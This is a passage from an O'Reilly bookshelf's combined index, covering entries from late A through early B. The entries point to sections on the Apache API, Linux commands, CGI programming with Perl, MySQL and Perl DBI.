ap_os_canonical_filename( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
ap_os_dso_error( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_os_dso_load( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_os_dso_sym( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_os_dso_unload( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_os_is_path_absolute( ): 14.6.6. Regular Expression Functions (Apache: The Definitive Guide)
ap_overlay_tables( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
ap_parse_hostinfo_components( ): 14.6.23. URI Functions (Apache: The Definitive Guide)
ap_parse_uri_components( ): 14.6.23. URI Functions (Apache: The Definitive Guide)
ap_pcfg_open_custom( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_pcfg_openfile( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_pclosedir( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_pclosesocket( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
ap_pduphostent( ): 14.6.23. URI Functions (Apache: The Definitive Guide)
append command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
append lines: 5.2.2.3. Specifying boot time options (Running Linux)
append= option: G.3. Kernel Options (Running Linux)
appending to files: 4.9. Saving Your Output (Running Linux)
Appfinder application: 11.3.2. Using KDE (Running Linux)
ap_pgethostbyname( ): 14.6.23. URI Functions (Apache: The Definitive Guide)
ap_piped_log_write_fd( ): 14.6.21. Piped Log Functions (Apache: The Definitive Guide)
Apple II operating system: 12.2. Sharing Programs (Running Linux)
Apple Mac HFS: 6.1.1. Filesystem Types (Running Linux)
Apple Network Server: D.1.1. Other PowerPC Platforms (Running Linux)
Apple PowerBook trackpads with LinuxPPC: D.6.2. PowerBook Trackpads (Running Linux)
applets
Desk Guide: 15.1. Desktop Overview (Linux in a Nutshell)
15.4.8.7. Workspaces (Linux in a Nutshell)
GNOME panel: 15.2. The Panel (Linux in a Nutshell)
Tasklist: 15.1. Desktop Overview (Linux in a Nutshell)
applets, Java: 13.6.1. The Promise of Java, or Why You Might Want to Use Java (Running Linux)
application classes: 11.1.2. The X Resource Database (Running Linux)
application launchers, adding to GNOME panel: 15.2.2. Adding an Application Launcher to the Panel (Linux in a Nutshell)
application server: 8.4. The Three-tier Architecture (MySQL & mSQL)
applications
business rules, separation from interface: 6.4. Embperl (CGI Programming with Perl)
CGI, debugging: 15. Debugging CGI Applications (CGI Programming with Perl)
external
calling: 8.2.1. Calling External Applications (CGI Programming with Perl)
executing: 6.2.1. Configuration (CGI Programming with Perl)
GNOME user interface for: 15.4.7.1. Applications (Linux in a Nutshell)
starting on different desktops (fvwm2): 17.11. Starting Windows on Different Desktops and Pages (Linux in a Nutshell)
state, maintaining between multiple form invocations: 11.2. Hidden Fields (CGI Programming with Perl)
applications, Java: 13.6.1. The Promise of Java, or Why You Might Want to Use Java (Running Linux)
Applications modules, KDE: 16.3.1. Applications (Linux in a Nutshell)
applications, X: 11.4. X Applications (Running Linux)
running on KDE: 11.3.2. Using KDE (Running Linux)
application/x-www-form-urlencoded (HTML forms): 4.1. Sending Data to the Server (CGI Programming with Perl)
ApplixWare office suite: 9.3.4. Word Processors (Running Linux)
12.1.5. File Translation Utilities (Running Linux)
ap_popendir( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_pregfree( ): 14.6.6. Regular Expression Functions (Apache: The Definitive Guide)
ap_pregsub( ): 14.6.6. Regular Expression Functions (Apache: The Definitive Guide)
ap_psignature( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
ap_psocket( ): 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
ap_psprintf( ): 14.6.11. String Functions (Apache: The Definitive Guide)
ap_pvsprintf( ): 14.6.11. String Functions (Apache: The Definitive Guide)
ap_release_mutex( ): 14.6.9.1. Mutex Functions (Apache: The Definitive Guide)
ap_requires( ): 14.6.18. Configuration Information Functions (Apache: The Definitive Guide)
ap_rflush( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_rind( ): 14.6.11. String Functions (Apache: The Definitive Guide)
apropos command: 4.12. Manual Pages (Running Linux)
11.4.9. xman: A Point-and-Click Interface to Manual Pages (Running Linux)
ap_rwrite( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_satisfies( ): 14.6.18. Configuration Information Functions (Apache: The Definitive Guide)
ap_scan_script_header( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_scan_script_header_err( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_scan_script_header_err_buff( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
ap_send_fb( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_send_fb_length( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_send_mmap( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_send_size( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
ap_server_root_relative( ): 14.6.12. Path, Filename, and URL Manipulation Functions (Apache: The Definitive Guide)
ap_set_file_slot( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_set_flag_slot( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_set_string_slot( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
ap_set_string_slot_lower( ): 14.6.17. Configuration Functions (Apache: The Definitive Guide)
apsfilter directory: 8.4.9. Magic Filters: APSfilter and Alternatives (Running Linux)
APSfilter package: 8.4.9. Magic Filters: APSfilter and Alternatives (Running Linux)
ap_str_tolower( ): 14.6.11. String Functions (Apache: The Definitive Guide)
apt-cdrom command (Debian): 5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
apt-get command (Debian): 5.2. The Debian Package Manager (Linux in a Nutshell)
5.2.5. Debian Package Manager Command Summary (Linux in a Nutshell)
ap_table_do( ): 14.6.3. Table Functions (Apache: The Definitive Guide)
ap_unparse_uri_components( ): 14.6.23. URI Functions (Apache: The Definitive Guide)
ap_vbprintf( ): 14.6.22. Buffering Functions (Apache: The Definitive Guide)
ap_vformatter( ): 14.6.24. Miscellaneous Functions (Apache: The Definitive Guide)
API for Apache: 14. The Apache API (Apache: The Definitive Guide)
functions of (list): 14.6. Functions (Apache: The Definitive Guide)
append_arrays( ): 14.6.2. Array Functions (Apache: The Definitive Guide)
ar command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
13.1.7. More Fun with Libraries (Running Linux)
ARC firmware: C.3.1. Limitations of ARC Firmware (Running Linux)
arch command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
architectural guidelines, CGI programs: 16.1. Architectural Guidelines (CGI Programming with Perl)
configuration by file name extensions: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
configuration, separate from primary code: 16.1.4. Separate Configuration from Your Primary Code (CGI Programming with Perl)
directories, organizing projects with: 16.1.2. Use Directories to Organize Your Projects (CGI Programming with Perl)
display, separating from primary code: 16.1.5. Separating Display from Your Primary Code (CGI Programming with Perl)
growth, planning for: 16.1.1. Plan for Future Growth (CGI Programming with Perl)
relative URLs, using: 16.1.3. Use Relative URLs (CGI Programming with Perl)
scripts, number per application: 16.1.7. Number of Scripts per Application (CGI Programming with Perl)
storage, separating from primary code: 16.1.6. Separating Storage from Your Primary Code (CGI Programming with Perl)
submit buttons, controlling flow with: 16.1.8. Using Submit Buttons to Control Flow (CGI Programming with Perl)
architecture type: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
archive files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
archives, CVS (see CVS utility, repositories)
archives, dbi-users mailing list: A.9.4. Mailing List (Programming the Perl DBI)
archiving files: 7.1. Archive and Compression Utilities (Running Linux)
tar utility: 7.1.2. Using tar (Running Linux)
gzip utility with: 7.1.3. Using tar with gzip (Running Linux)
performing tricks with: 7.1.4. tar Tricks (Running Linux)
area charts, creating with GD::Graph::area module: 13.4.2. GD::Graph (CGI Programming with Perl)
area_graph function: 13.3.2. Using GD (CGI Programming with Perl)
args command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
argv variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
arithmetic
bash arithmetic expressions: 7.5. Arithmetic Expressions (Linux in a Nutshell)
bc language: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
arithmetic expressions: 7.4.1. Variable Substitution (Linux in a Nutshell)
arp command (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ARPAnet: 15.1.1. TCP/IP Concepts (Running Linux)
array context, calling subroutines in: 4.3. Decoding Form Input (CGI Programming with Perl)
array indices: 5.6.2.2. Slice array reference argument (Programming the Perl DBI)
Array interfaces: 22. JDBC Reference (MySQL & mSQL)
array references: 5.1.3. Fetching Data (Programming the Perl DBI)
5.6.2.1. No arguments (Programming the Perl DBI)
array_cat( ): 14.6.2. Array Functions (Apache: The Definitive Guide)
arrays
array indices, building tables: 6.4.3.1. Tables (CGI Programming with Perl)
associative: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
fetching rows returned as field arrays: 10.4.1.3. Database querying (CGI Programming with Perl)
gawk and: 13.6. Variable and Array Assignments (Linux in a Nutshell)
of hashes for loops: 6.3.1.1. Loops (CGI Programming with Perl)
6.3.1.1. Loops (CGI Programming with Perl)
references to
distributing tags around: 11.2. Hidden Fields (CGI Programming with Perl)
passing as arguments to CGI.pm methods: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
related and second-level related URLs: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
retrieved from databases: 5.1.3. Fetching Data (Programming the Perl DBI)
undefining vs. equating to null list: 17.1.5. undef Versus ( ) (CGI Programming with Perl)
arrays, API functions for: 14.6.2. Array Functions (Apache: The Definitive Guide)
AS/400: 1.10. Apache Under BS2000/OSD and AS/400 (Apache: The Definitive Guide)
as command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
ASCII( ) function: 15.1. MySQL SQL (MySQL & mSQL)
ASCII character set, URL encoding: 2.1.3. URL Encoding (CGI Programming with Perl)
ASCII, lptest file and: 8.4.1. Checking Printer Hardware (Running Linux)
ASIN( ) function: 15.1. MySQL SQL (MySQL & mSQL)
ask mode (vga): 5.2.2.1. The /etc/lilo.conf file (Running Linux)
ASLaN (Ancient Sacred Landscape Network): C. ASLaN Sacred Site Charter (Programming the Perl DBI)
asort( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
ASP (Active Server Pages): 1.3.2. Alternatives to CGI (CGI Programming with Perl)
assembly code: 13.1.2. gcc Features (Running Linux)
associative arrays: 13.4.1. A Sample Program (Running Linux)
* (asterisk) bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
asterisk (*): 4.8. Filename Expansion (Running Linux)
in passwd file: 5.7.1. The passwd File (Running Linux)
asterisk (*) bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
@ (at sign): 13.2.5. Multiple Commands (Running Linux)
at command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
at sign (@): 13.2.5. Multiple Commands (Running Linux)
ATAN( ) function: 15.1. MySQL SQL (MySQL & mSQL)
atan2 command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
ATAPI drives, Alpha system support: C.5.2. IDE/ATAPI Drive Support (Running Linux)
Athena widget set: 14.2.6. Interface Building Tools (Running Linux)
14.2.6. Interface Building Tools (Running Linux)
atomic fetching: 5.6.1. Atomic Fetching (Programming the Perl DBI)
atq commands: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
atrm command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
attach command (gdb): 14.1.3. Debugging a Running Program (Running Linux)
\%attr attribute parameter: 4.4.1. Connection (Programming the Perl DBI)
6.1.1. Passing Attributes to DBI Methods (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
attribute handles: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
(see also database handles)
case significance of names: 6.1.3. The Significance of Case (Programming the Perl DBI)
inheritance rules: 6.1. Handle Attributes and Metadata (Programming the Perl DBI)
attributes
checkboxes: 4.2.3.4. Checkboxes (CGI Programming with Perl)
hidden fields: 4.2.3.3. Hidden fields (CGI Programming with Perl)
HTML elements, interpreting hash elements as: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
image buttons: 4.2.3.8. Image buttons (CGI Programming with Perl)
NAME: 6.3.1. Syntax (CGI Programming with Perl)
6.3.1.2. Conditionals (CGI Programming with Perl)
onChange handler, adding as element: 7.2.1.2. Validating submits (CGI Programming with Perl)
password fields: 4.2.3.2. Password fields (CGI Programming with Perl)
plain buttons: 4.2.3.9. Plain buttons (CGI Programming with Perl)
radio buttons: 4.2.3.5. Radio buttons (CGI Programming with Perl)
reset buttons: 4.2.3.7. Reset buttons (CGI Programming with Perl)
SSI: 6.2.2. Format (CGI Programming with Perl)
file vs. virtual attribute, using: 6.2.5. Including Boilerplates (CGI Programming with Perl)
var attribute: 6.2.3. Environment Variables (CGI Programming with Perl)
tag: 4.2.2. The <FORM> Tag (CGI Programming with Perl)
4.2.3. The <INPUT> Tag (CGI Programming with Perl)
4.2.4.1. The <OPTION> tag (CGI Programming with Perl)
4.2.5. The <TEXTAREA> Tag (CGI Programming with Perl)
tag, specifying source for: 5.3.2.1. start_html (CGI Programming with Perl)
text fields: 4.2.3.1. Text fields (CGI Programming with Perl)
XML elements: 14.3. Document Type Definition (CGI Programming with Perl)
attributes, entity: 2.1.2. Entity Attributes (MySQL & mSQL)
attributes, file: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
%attributes, hash table of attributes declared inside XML element: 14.5. CGI Gateway to XML Middleware (CGI Programming with Perl)
ATZ signal: 15.2.1.3.1. Writing a chat script (Running Linux)
audio (see sound)
AuthDBMGroupFile directive: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
AuthDBMUserFile directive: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
AuthDBUserFile directive: 5.5.1. DBM Files on Unix (Apache: The Definitive Guide)
authentication: 1. Getting Started (Apache: The Definitive Guide)
5. Authentication (Apache: The Definitive Guide)
5.7.3. PAM and Other Authentication Methods (Running Linux)
anonymous access: 5.8. Anonymous Access (Apache: The Definitive Guide)
Authentication header: 2.3.2. Request Header Field Lines (CGI Programming with Perl)
authorization vs.: 2.3.2.4. Authorization (CGI Programming with Perl)
checking: 15.3.14. Check Auth (Apache: The Definitive Guide)
controlling access: 5.6. Order, Allow, and Deny (Apache: The Definitive Guide)
digest authentication: 5.1. Authentication Protocol (Apache: The Definitive Guide)
5.7. Digest Authentication (Apache: The Definitive Guide)
directives for: 5.2. Authentication Directives (Apache: The Definitive Guide)
forms and: 5.5. New Order Form (Apache: The Definitive Guide)
.htaccess file (see .htaccess file)
modules for: 12.1. Authentication (Apache: The Definitive Guide)
PAM (Pluggable Authentication Methods): 5.7.3. PAM and Other Authentication Methods (Running Linux)
protocols for: 15.2.1.3.5. PAP and CHAP (Running Linux)
SSL protocol and: D.1.1. Authentication and Key Exchange (Apache: The Definitive Guide)
user information: 5.10. Automatic User Information (Apache: The Definitive Guide)
users, script for: 3.4.2. User Authentication and Identification (CGI Programming with Perl)
WWW-Authorization field and: 2.4.2.10. WWW-Authenticate (CGI Programming with Perl)
AuthGroupFile directive: 5.2.3. AuthGroupFile (Apache: The Definitive Guide)
Auth_Host system variable: 16.2.2.3. w3-msql (MySQL & mSQL)
AuthName directive: 5.2.2. AuthName (Apache: The Definitive Guide)
$Author keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
Authorization field: 2.3.2.4. Authorization (CGI Programming with Perl)
AuthType directive: 5.2.1. AuthType (Apache: The Definitive Guide)
5.7. Digest Authentication (Apache: The Definitive Guide)
AuthUserFile directive: 5.2.4. AuthUserFile (Apache: The Definitive Guide)
auto-incrementing: 6.5. Sequences and Auto-Incrementing (MySQL & mSQL)
AutoCommit database handle attribute: 6.1.5. Database Handle Attributes (Programming the Perl DBI)
6.3.1. Automatic Transaction Handling (Programming the Perl DBI)
A.2.3. Outline Usage (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
A.6.2. Database Handle Attributes (Programming the Perl DBI)
autoconf generator: 14.2.4. make and imake (Running Linux)
autocorrect variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
autoexpand variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
Autofill mode (Emacs): 9.2.8. Tailoring Emacs (Running Linux)
9.2.8. Tailoring Emacs (Running Linux)
autofs package: 6.1.3. Automounting Devices (Running Linux)
autohandlers, modifying component output with (Mason): 6.5.1. A Component Approach (CGI Programming with Perl)
autolist variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
autologout variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
automatic hardware detection: 3.1.1. Booting Linux (Running Linux)
automatic status code additions by servers: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
automounter: 6.1.3. Automounting Devices (Running Linux)
autoraising focus window, fvwm2: 17.7. Raising the Focus Window Automatically (Linux in a Nutshell)
autoreply from nobody to all incoming messages: 9.7.1. Autoreply from nobody (CGI Programming with Perl)
autouse feature: 17.1.7. autouse (CGI Programming with Perl)
available_drivers( ): 4.3. Data Source Names (Programming the Perl DBI)
A.3.1. DBI Class Methods (Programming the Perl DBI)
available_drivers function: 21.2. DBI.pm API (MySQL & mSQL)
AVG( ) function: 15.1. MySQL SQL (MySQL & mSQL)
await_thread( ): 14.6.9.4. Thread Functions (Apache: The Definitive Guide)
awk program: 9.2. Metacharacters, Listed by Linux Program (Linux in a Nutshell)
9.4. Examples of Searching (Linux in a Nutshell)
13.1. Conceptual Overview (Linux in a Nutshell)
(see also gawk scripting language)
AWT (Abstract Window Toolkit): 13.6.3. A Working Example of Java (Running Linux)
aztcd= parameter (linux): 3.1.1. Booting Linux (Running Linux)
Aztech CD-ROM interfaces: 3.1.1. Booting Linux (Running Linux)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Index: B

<b> HTML tag: 16.1.4.6. More HTML features (Running Linux)
b command (sed): 12.5. Alphabetical Summary of sed Commands (Linux in a Nutshell)
Back button (Netscape): 16.1.1. Using Netscape Navigator (Running Linux)
background
color
Emacs text editor: 11.4.7. Emacs (Running Linux)
KDE desktop: 11.3.2. Using KDE (Running Linux)
11.3.2. Using KDE (Running Linux)
xterm: 11.1.2. The X Resource Database (Running Linux)
xterm window: 11.1.1. xinit (Running Linux)
processes: 4.11. Putting a Command in the Background (Running Linux)
11.1.1. xinit (Running Linux)
resource (X clients): 11.1.2. The X Resource Database (Running Linux)
background jobs: 7.7. Built-in Commands (Linux in a Nutshell)
8.8. Job Control (Linux in a Nutshell)
back_log option: 16.1.2. Command line variables (MySQL & mSQL)
back_log variable: 4.6. Performance Tuning (MySQL & mSQL)
\ (backslash) character escapes: 9.3. Metacharacters (Linux in a Nutshell)
backslash (\)
@ prefix, escaping with: 13.5.4. Image Processing (CGI Programming with Perl)
escaping characters with: 10.1.4. Delimiters (CGI Programming with Perl)
escaping double quotes in HTML: 5.4.1. Lots of print Statements (CGI Programming with Perl)
backslash (\) character escapes: 9.3. Metacharacters (Linux in a Nutshell)
backslash \, exporting tab delimited data: 15.1. MySQL SQL (MySQL & mSQL)
backslash_quote variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
Backspace key: 9.2.8. Tailoring Emacs (Running Linux)
bash and: 7.3.3. Command-line Editing (Linux in a Nutshell)
Emacs and: 10.2. Typical Problems (Linux in a Nutshell)
backtrace command (gdb): 14.1.2. Examining a Core File (Running Linux)
backup files (source code), security risks with: 1.4.1.2. Configuring by extension (CGI Programming with Perl)
backup= option (LILO): G.1. Global Options (Running Linux)
backups: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
8.1. Making Backups (Running Linux)
8.6. What to Do in an Emergency (Running Linux)
compression and: 8.1.1.3. To gzip, or not to gzip? (Running Linux)
cron and: 8.2. Scheduling Jobs Using cron (Running Linux)
incremental: 8.1. Making Backups (Running Linux)
8.1.2. Incremental Backups (Running Linux)
mSQL: 5.5.2. Backups (MySQL & mSQL)
MySQL: 4.4.3. Security (MySQL & mSQL)
restoring files from: 8.6.3. Restoring Files from Backup (Running Linux)
badblocks command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
"Bambi" (see Hughes, David)
bang (!)
bash shell metacharacter: 7.3.2. Filename Metacharacters (Linux in a Nutshell)
ex command: 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
banner command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
bar charts
creating with GD::Graph::bars module: 13.4.2. GD::Graph (CGI Programming with Perl)
three-dimensional: 13.4.3. GD::Graph3D (CGI Programming with Perl)
bareword subroutines, strict vs.: 15.2.1. Use strict (CGI Programming with Perl)
Base directory (CVS): 14.4.4.3. CVS directories (Linux in a Nutshell)
Base64 format digests: 8.3.1. MD5 (CGI Programming with Perl)
base URL, rewriting: 8.8.5. RewriteBase (Apache: The Definitive Guide)
basename command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Baserev file (CVS): 14.4.4.3. CVS directories (Linux in a Nutshell)
bash command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
bash shell: 1.4. What This Book Offers (Linux in a Nutshell)
6.4. Differing Features (Linux in a Nutshell)
7. bash: The Bourne-Again Shell (Linux in a Nutshell)
4.5. Shells (Running Linux)
13.3. Shell Programming (Running Linux)
built-in commands: 7.7. Built-in Commands (Linux in a Nutshell)
core files and: 14.1.2. Examining a Core File (Running Linux)
.bash_profile file: 4.15. Startup Files (Running Linux)
.bashrc file: 4.15. Startup Files (Running Linux)
bastion hosts: 13.4.2. Separate Networks (Apache: The Definitive Guide)
batch command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
batch execution at specified date/time: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
batch fetching: 5.6.2. Batch Fetching (Programming the Perl DBI)
batch files (see shells, scripts)
baud rate: 8.4.5.3. The rest of the printcap variables (Running Linux)
BBS (bulletin board systems): 1.5.8. Telecommunications and BBS Software (Running Linux)
obtaining Linux via: 2.1.3. Getting Linux from Other Online Sources (Running Linux)
bc language: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Bcc field (blind carbon-copy): 9.3. Structure of Internet Email (CGI Programming with Perl)
9.4.2. Mail Queue (CGI Programming with Perl)
bdflush command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Beagle SQL engine: 7.5. Beagle (MySQL & mSQL)
before( ) method: 22. JDBC Reference (MySQL & mSQL)
beforeFirst( ) method: 22. JDBC Reference (MySQL & mSQL)
BEGIN blocks
mod_perl, treatment of: 17.3.2. mod_perl Considerations (CGI Programming with Perl)
taint mode and: 13.3.2. Using GD (CGI Programming with Perl)
benchmarking code, Perl CGI scripts: 17.1.1. Benchmark Your Code (CGI Programming with Perl)
Benchmark module, testing script speed in taint mode: 8.4.4. Why Use Taint Mode? (CGI Programming with Perl)
Berkeley databases: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
accessor methods: 2.7.3.3. Object accessor methods (Programming the Perl DBI)
chaining multiple values into a hash: 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
creating: 2.7.1. Creating a New Database (Programming the Perl DBI)
with DB_BTREE: 2.7.3.5. Chaining multiple values into a hash (Programming the Perl DBI)
DB_BTREE format: 2.7.1. Creating a New Database (Programming the Perl DBI)
DB_HASH format: 2.7.1. Creating a New Database (Programming the Perl DBI)
DBM files and: 2.7. DBM Files and the BerkeleyDatabase Manager (Programming the Perl DBI)
DB_RECNO format: 2.7.1. Creating a New Database (Programming the Perl DBI)
localized storage and retrieval: 2.7.3.1. Localized storage and retrieval (Programming the Perl DBI)
locking: 2.7.2. Locking Strategies (Programming the Perl DBI)
packing in Perl objects: 2.7.3.2. Packing in Perl objects (Programming the Perl DBI)
values
deleting: 2.7.4. Deleting Values (Programming the Perl DBI)
inserting/retrieving: 2.7.3. Inserting and Retrieving Values (Programming the Perl DBI)
Berkeley DB files: 10.2. DBM Files (CGI Programming with Perl)
hash file (servers), counting visitors to HTML pages: 6.2.6. Executing CGI Programs (CGI Programming with Perl)
Berkeley Software Distribution (BSD): 1.3. Commands on Linux (Linux in a Nutshell)
1.5. Sources and Licenses (Linux in a Nutshell)
Berkeley Unix (see BSD)
Berners-Lee, Tim: 9.1. What Is CGI? (MySQL & mSQL)
beta stage: 1.7. Open Source and the Philosophy of Linux (Running Linux)
bg command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
bg command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
-bg option: 11.1.1. xinit (Running Linux)
biff command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
BIGINT datatype: 15.1. MySQL SQL (MySQL & mSQL)
BIN( ) function: 15.1. MySQL SQL (MySQL & mSQL)
bin directory: 4.16. Important Directories (Running Linux)
BINARY attribute: 15.1. MySQL SQL (MySQL & mSQL)
binary data
binmode function: 13.5.4. Image Processing (CGI Programming with Perl)
avoiding bugs with use of: 15.2.7. Use binmode (CGI Programming with Perl)
enabling binary mode with: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
operating systems not using newlines: 3.4.1. Check the Client Browser (CGI Programming with Perl)
using for output: 13.2.1.1. binmode (CGI Programming with Perl)
digests: 8.3.1. MD5 (CGI Programming with Perl)
files, filtering out with grep function: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
binary datatypes: 6.3.3. Binary Datatypes (MySQL & mSQL)
binary emulators: 12.2. Sharing Programs (Running Linux)
AlphaLinux: C.7.3. Binary Emulation (Running Linux)
binary large object datatypes: 3.2. Datatypes and NULL Values (Programming the Perl DBI)
6.1.4. Common Attributes (Programming the Perl DBI)
binary mode: 2.1.2. Getting Linux from the Internet (Running Linux)
3.3.3. Problems Installing the Software (Running Linux)
binary releases of Apache: 1.8.6. Unix Binary Releases (Apache: The Definitive Guide)
binary signatures: 13.3. Binary Signatures, Virtual Cash (Apache: The Definitive Guide)
BIND (Berkeley Internet Name Domain): 2.3.3. Name Service (Linux in a Nutshell)
bind command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
bind values: 5.3. Binding Parameters to Statements (Programming the Perl DBI)
A.7.1. Statement Handle Methods (Programming the Perl DBI)
data typing and: 5.3.2. Bind Values and Data Typing (Programming the Perl DBI)
execute( ): (Programming the Perl DBI) 5.3.4. Binding Values Without bind_ param( )
input/output parameters: 5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
LONG/LOB datatypes and: 6.2.1. Inserting and Updating LONG/LOB Columns (Programming the Perl DBI)
placeholders and: A.2.7. Placeholders and Bind Values (Programming the Perl DBI)
references: 5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
specifying multiple: 5.3. Binding Parameters to Statements (Programming the Perl DBI)
vs. interpolated statements: 5.3.1. Bind Values Versus Interpolated Statements (Programming the Perl DBI)
BindAddress directive: 3.9.1. BindAddress (Apache: The Definitive Guide)
bind_col( ): 5.4. Binding Output Columns (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
bind_col function: 21.2. DBI.pm API (MySQL & mSQL)
bind_columns( ): 5.4. Binding Output Columns (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
bind_columns function: 21.2. DBI.pm API (MySQL & mSQL)
bindec( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
binding (see bind values)
bindings for X resources: 11.1.2. The X Resource Database (Running Linux)
bindkey command (tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
bind_param( ): 5.3. Binding Parameters to Statements (Programming the Perl DBI)
5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
6.2.1. Inserting and Updating LONG/LOB Columns (Programming the Perl DBI)
A.7.1. Statement Handle Methods (Programming the Perl DBI)
bind_param function: 21.2. DBI.pm API (MySQL & mSQL)
bind_param_inout( ): 5.3.3. Binding Input and Output Parameters (Programming the Perl DBI)
A.7.1.1. Datatypes for placeholders (Programming the Perl DBI)
/bin/echo command (see echo command)
BIOS: 2.2.3. Linux Partition Requirements (Running Linux)
3.1.1. Booting Linux (Running Linux)
Alpha system support: C.5.3. Firmware/BIOS Peripheral Device Support (Running Linux)
Dosemu and: 12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
emulating: 12.2.1. DOS Emulators: Dosemu and xdos (Running Linux)
undetected SCSI controllers: 3.3.2.3. Problems with SCSI controllers and devices (Running Linux)
bios= option (LILO): G.1. Global Options (Running Linux)
bison command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
BIT_AND( ) function: 15.1. MySQL SQL (MySQL & mSQL)
bitmap files: 12.1.5. File Translation Utilities (Running Linux)
BIT_OR( ) function: 15.1. MySQL SQL (MySQL & mSQL)
